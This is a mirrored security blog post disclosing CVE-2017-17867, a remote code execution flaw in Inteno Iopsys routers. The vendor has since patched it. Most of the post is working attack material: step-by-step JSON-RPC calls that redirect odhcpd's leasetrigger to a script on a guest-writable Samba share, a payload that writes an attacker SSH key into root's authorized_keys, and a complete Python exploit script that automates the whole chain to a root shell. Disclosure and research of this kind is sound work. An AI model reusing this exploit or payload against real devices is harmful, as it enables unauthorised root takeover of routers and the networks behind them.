6

Remote Code Execution vulnerability in Inteno's Iopsys

 3 years ago
source link: https://nns.ee/blog/2017/12/23/rce-inteno-iopsys.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Remote Code Execution vulnerability in Inteno's Iopsys

Dec 23, 2017

I’ve discovered a remote code execution vulnerability in the latest version of Iopsys router software. This affects all Inteno routers and is caused by the dhcp daemon. This vulnerability has been assigned the ID CVE-2017-17867 and a CVSSv3 severity score of 8.8.

I’ve written about vulnerabilities in Inteno’s Iopsys router software before (1, 2). I recommend reading the first post as it describes how one can call functions on the router - including ones which may not be listed in the admin panel. This time I’ve found that modifying certain configuration files allows an authenticated attacker to execute any binary or script as root. Again, since the WiFi key is usually the password for the admin’s panel lowest-priviledged user user by default (or occasionally the password may be user as well), exploiting this is relatively easy on a large number of devices.

The vulnerablity stems from the fact that the user can modify odhcpd’s configuration to point leasetrigger to anything they wish, which gets executed as soon as a new lease is granted by dhcpd. If we look at the default configuration:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","get",{config:"dhcp"}],"id":0}

< [...] "odhcpd":{".anonymous":false,".type":"odhcpd",".name":"odhcpd",".index":3,"leasefile":"\/tmp\/hosts\/odhcpd","maindhcp":"0","leasetrigger":"\/usr\/sbin\/odhcpd-update"}}}]}

We can see, that by default it points to /usr/sbin/odhcpd-update. The binary locating in /sbin/ is an indication that whatever gets executed is done so as root. We can test whether modifying this lets us execute code. For example, we can try setting it to /sbin/reboot. This should trigger an infinite loop of reboots, which we can physically observe.

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","set",{config:"dhcp",type:"odhcpd",values:{maindhcp:"1",leasetrigger:"/sbin/reboot"}}],"id":1}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","commit",{config:"dhcp"}],"id":2}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","juci.system","reboot",{}],"id":3}

Indeed, the router never fully boots up, indicating that /sbin/reboot gets executed somewhere along the line. If we, however, try setting leasetrigger to something a little bit more complex:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","set",{config:"dhcp",type:"odhcpd",values:{leasetrigger:"/bin/touch /tmp/test"}}],"id":4}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","commit",{config:"dhcp"}],"id":5}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","juci.system","reboot",{}],"id":6}

It doesn’t seem to work:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","file","stat",{path:"/tmp/test"}],"id":7}

< {"jsonrpc":"2.0","id":7,"result":[4]}

This indicates that it only executes the binary and no arguments get passed to it. However, we can still point it to a script, which executes everything we want in turn.

We used to be able to place files on /tmp. However, since the patch for the previous vulnerability removed that ability, we are unable to place our script anywhere, leaving us at a dead end, right? Well, not quite. Iopsys also has a feature for Samba shares. Samba shares get mounted to /mnt, which is perfect for us. We can create a new share and enable Samba using ubus calls:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","add",{config:"samba",type:"sambashare",values:{name:"pwned",read_only:"no",create_mask:"0775",dir_mask:"0775",path:"/mnt/",guest_ok:"yes"}}],"id":8}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","set",{config:"samba",type:"samba",values:{interface:"lan"}}],"id":9}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","commit",{config:"samba"}],"id":10}

We can also point leasetrigger to a location where we’ll be dropping our script:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","set",{config:"dhcp",type:"odhcpd",values:{leasetrigger:"/mnt/pwn.sh"}}],"id":11}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","commit",{config:"dhcp"}],"id":12}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","juci.system","reboot",{}],"id":13}

We can now proceed to drop our malicious script and wait for it to be executed. As an example, I’m going to drop a script that adds my public SSH key to the authorized_keys file, allowing me to ssh into the router as root. As to not cripple the functionality of odhcpd, I’m also including the original leasetrigger:

#!/bin/sh

/bin/echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ== rsa-key-20170427" > /etc/dropbear/authorized_keys

/usr/sbin/odhcpd-update

The unix tool smbclient is good enough for this:

$ smbclient \\\\IntenoSMB\\pwned x

smb: \> put /home/neonsea/pwn.sh pwn.sh

We restart odhcpd:

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","juci.service","stop",{name:"odhcpd"}],"id":14}

> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","juci.service","start",{name:"odhcpd"}],"id":15}

After waiting a while, we try ssh’ing in, and:

$ ssh [email protected]

root@Inteno:~# uname -a
Linux Inteno 3.4.11-rt19 #3 SMP PREEMPT Mon Jun 26 12:32:53 EEST 2017 mips GNU/Linux
root@Inteno:~# 

Done! We now have a full root shell.

The vendor was notified of this issue and they quickly developed a patch to fix this. You can see the patch here.

Please also note that for some reason, everything uploaded to /mnt using Samba shares disappears after a reboot. This makes it extremely hard to get the payload to trigger consistently. However, it does trigger occasionally. You can find the line of code responsible for running leasetrigger here.

I’ve also written a proof of concept script in Python, which you can find below. It requires Python 3, a module called websocket-client which you can install by evoking pip install websocket-client and the Unix tool smbclient. First comment details usage instructions. As always, this exploit can be found on the inteno-exploits repository alongside other exploits I’ve written for IOPSYS devices.

#!/usr/bin/env python3

# Usage: cve-2017-17867.py <ip> <username> <password> <payload file>
# Details: https://neonsea.uk/blog/2017/12/23/rce-inteno-iopsys.html

import json
import sys
import subprocess
import socket
import os
from time import sleep
from websocket import create_connection


def ubusAuth(host, username, password):
    ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps(
        {
            "jsonrpc": "2.0",
            "method": "call",
            "params": [
                "00000000000000000000000000000000",
                "session",
                "login",
                {"username": username, "password": password},
            ],
            "id": 666,
        }
    )
    ws.send(req)
    response = json.loads(ws.recv())
    ws.close()
    try:
        key = response.get("result")[1].get("ubus_rpc_session")
    except IndexError:
        return None
    return key


def ubusCall(host, key, namespace, argument, params={}):
    ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps(
        {
            "jsonrpc": "2.0",
            "method": "call",
            "params": [key, namespace, argument, params],
            "id": 666,
        }
    )
    ws.send(req)
    response = json.loads(ws.recv())
    ws.close()
    try:
        result = response.get("result")[1]
    except IndexError:
        if response.get("result")[0] == 0:
            return True
        return None
    return result


def getArguments():
    if len(sys.argv) != 5:
        print(f"Usage: {sys.argv[0]} <ip> <username> <password> <payload file>")
        sys.exit(1)
    else:
        return sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]


if __name__ == "__main__":
    host, user, password, file = getArguments()

    print("Authenticating...")
    key = ubusAuth(host, user, password)
    if not key:
        print("Auth failed!")
        sys.exit(1)
    print("Got key: %s" % key)

    print("Adding Samba share...")
    smbcheck = json.dumps(ubusCall(host, key, "uci", "get", {"config": "samba"}))
    if "pwned" in smbcheck:
        print("Samba share seems to already exist, skipping")
    else:
        smba = ubusCall(
            host,
            key,
            "uci",
            "add",
            {
                "config": "samba",
                "type": "sambashare",
                "values": {
                    "name": "pwned",
                    "read_only": "no",
                    "create_mask": "0775",
                    "dir_mask": "0775",
                    "path": "/mnt/",
                    "guest_ok": "yes",
                },
            },
        )
        if not smba:
            print("Adding Samba share failed!")
            sys.exit(1)

    print("Enabling Samba...")
    smbe = ubusCall(
        host,
        key,
        "uci",
        "set",
        {"config": "samba", "type": "samba", "values": {"interface": "lan"}},
    )
    if not smbe:
        print("Enabling Samba failed!")
        sys.exit(1)

    print("Committing changes...")
    smbc = ubusCall(host, key, "uci", "commit", {"config": "samba"})
    if not smbc:
        print("Committing changes failed!")
        sys.exit(1)

    print("Setting malicious leasetrigger...")
    lts = ubusCall(
        host,
        key,
        "uci",
        "set",
        {"config": "dhcp", "type": "odhcpd", "values": {"leasetrigger": "/mnt/pwn.sh"}},
    )
    if not lts:
        print("Setting leasetrigger failed!")
        sys.exit(1)

    print("Committing changes...")
    ltc = ubusCall(host, key, "uci", "commit", {"config": "dhcp"})
    if not ltc:
        print("Committing changes failed!")
        sys.exit(1)

    print("Rebooting system...")
    reb = ubusCall(host, key, "juci.system", "reboot")
    if not reb:
        print("Rebooting failed, try rebooting manually!")
        sys.exit(1)

    print("Waiting on reboot...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    isUp = None
    while not isUp:
        try:
            sleep(10)
            s.connect((host, 8080))
            isUp = True
            s.close()
        except:
            pass

    print("Dropping payload...")
    subprocess.run(
        r"smbclient \\\\%s\\pwned p -c 'put %s pwn.sh'" % (host, file),
        shell=True,
        check=True,
    )
    print("Payload dropped")

    print("Authenticating...")
    key = ubusAuth(host, user, password)
    if not key:
        print("Auth failed!")
        sys.exit(1)
    print("Got key: %s" % key)

    print("Executing payload")
    eec = ubusCall(host, key, "juci.service", "stop", {"name": "odhcpd"})
    if not eec:
        print("Stopping odhcpd failed!")
        sys.exit(1)
    ees = ubusCall(host, key, "juci.service", "start", {"name": "odhcpd"})
    if not ees:
        print("Starting odhcpd failed!")
        sys.exit(1)

    print("Exploitation complete")


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK